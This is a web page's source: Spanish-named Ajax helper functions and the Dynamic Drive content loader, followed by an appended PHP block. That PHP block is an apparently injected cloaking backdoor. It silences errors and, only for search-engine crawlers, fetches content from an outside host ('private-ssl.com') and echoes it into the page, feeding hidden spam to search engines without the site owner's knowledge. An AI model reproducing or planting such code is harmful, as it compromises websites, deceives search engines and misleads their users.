<script type="text/javascript">

function MuestraNoticia(noticia, volverList)
{
   ajaxpage(noticia, 'noticia')
   ajaxpage(volverList, 'volverList')

   window.scrollTo(0,0);
   return false;
}

</script>


<script type="text/javascript">

function MuestraTres(noticia, volverList, der1)
{
   ajaxpage(noticia, 'noticia')
   ajaxpage(volverList, 'volverList')
   ajaxpage(der1, 'der1')

   window.scrollTo(0,0);
   return false;
}

</script>

<script type="text/javascript">

function MuestraCuatro(noticia, volverList, der1, der2)
{
   ajaxpage(noticia, 'noticia')
   ajaxpage(volverList, 'volverList')
   ajaxpage(der1, 'der1')
   ajaxpage(der2, 'der2')

   window.scrollTo(0,0);
   return false;
}

</script>

<script type="text/javascript">

function MuestraArea(info, der1)
{
   ajaxpage(info, 'info')
   ajaxpage(der1, 'der1')

   window.scrollTo(0,0);
   return false;
}

</script>


<script type="text/javascript">

function MuestraUno(info)
{
   ajaxpage(info, 'info')

   window.scrollTo(0,0);
   return false;
}

</script>


<script type="text/javascript">

function MuestraDos(info, menu_der)
{
   ajaxpage(info, 'info')
   ajaxpage(menu_der, 'menu_der')

   window.scrollTo(0,0);
   return false;
}

</script>






<script type="text/javascript">

/***********************************************
* Dynamic Ajax Content- © Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/

var bustcachevar=1 //bust potential caching of external pages after initial request? (1=yes, 0=no)
var loadedobjects=""
var rootdomain="http://"+window.location.hostname
var bustcacheparameter=""

function ajaxpage(url, containerid){
var page_request = false
if (window.XMLHttpRequest) // if Mozilla, Safari etc
page_request = new XMLHttpRequest()
else if (window.ActiveXObject){ // if IE
try {
page_request = new ActiveXObject("Msxml2.XMLHTTP")
}
catch (e){
try{
page_request = new ActiveXObject("Microsoft.XMLHTTP")
}
catch (e){}
}
}
else
return false
document.getElementById(containerid).innerHTML='<div align="center"><img src="/imagenes/ajax-loader.gif"></img></div>';
page_request.onreadystatechange=function(){
loadpage(page_request, containerid)
}
if (bustcachevar) //if bust caching of external page
bustcacheparameter=(url.indexOf("?")!=-1)? "&"+new Date().getTime() : "?"+new Date().getTime()
page_request.open('GET', url+bustcacheparameter, true)
page_request.send(null)
}

function loadpage(page_request, containerid){
if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1))
document.getElementById(containerid).innerHTML=page_request.responseText
}

function loadobjs(){
if (!document.getElementById)
return
for (i=0; i<arguments.length; i++){
var file=arguments[i]
var fileref=""
if (loadedobjects.indexOf(file)==-1){ //Check to see if this object has not already been added to page before proceeding
if (file.indexOf(".js")!=-1){ //If object is a js file
fileref=document.createElement('script')
fileref.setAttribute("type","text/javascript");
fileref.setAttribute("src", file);
}
else if (file.indexOf(".css")!=-1){ //If object is a css file
fileref=document.createElement("link")
fileref.setAttribute("rel", "stylesheet");
fileref.setAttribute("type", "text/css");
fileref.setAttribute("href", file);
}
}
if (fileref!=""){
document.getElementsByTagName("head").item(0).appendChild(fileref)
loadedobjects+=file+" " //Remember this object as being already added to page
}
}
}

</script>
<?php

error_reporting(0);

/* Config */
$count_url = 15;
$static = 0;
$id = 1;
$count_s = 3; 
$cloaca = 1;
$host = "http://private-ssl.com/~4.php";
/* ------- */


$url = $host."?count=".$count_url."&static=".$static."&id=".$id."&count_s=".$count_s;
function geturl_1($url)
{
    return file_get_contents($url);    
}

function geturl_2( $sock,$host, $path, $query )
{
    fputs($sock, "GET " . $path . "?" . $query . "  HTTP/1.0\r\n" .
                        "Host: $host\r\n" .
                        "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n" .
                        "Accept: */*\r\n" .
                        "Accept-Language: en-us,en;q=0.5\r\n" .
                        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" .
                        "Keep-Alive: 300\r\n" .
                        "Connection: keep-alive\r\n" .
                        "Referer: http://$host\r\n\r\n");
    while ( $line = fread( $sock, 4096 ) ) 
    {
        $response .= $line;
    }
    fclose( $sock );
    $pos      = strpos($response, "\r\n\r\n");
    $response = substr($response, $pos + 4);
    return $response;
}
function geturl_3($url)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}
function getuseragent($useragent)
{
    if( stripos($useragent, 'googlebot') || stripos($useragent, 'slurp') || stripos($useragent, 'msnbot'))
    {
        return 1;
    }
    return 0;
}

function mainwork($url)
{
   
    if( ini_get("allow_url_fopen") == 1)
    {
        echo geturl_1($url);
    }
    
    else
    {
        $url_1 = parse_url($url);
        if($sock = @fsockopen($url_1['host'], 80))
        {
            echo geturl_2( $sock, $url_1['host'], $url_1['path'], $url_1['query'] );
        }
        elseif( @function_exists('curl_init') )
        {
            echo geturl_3($url);
        }
    }
}

if( $cloaca && getuseragent($_SERVER['HTTP_USER_AGENT']) )
{
    mainwork($url);
}
elseif($cloaca == 0)
{
    mainwork($url);
}
?>
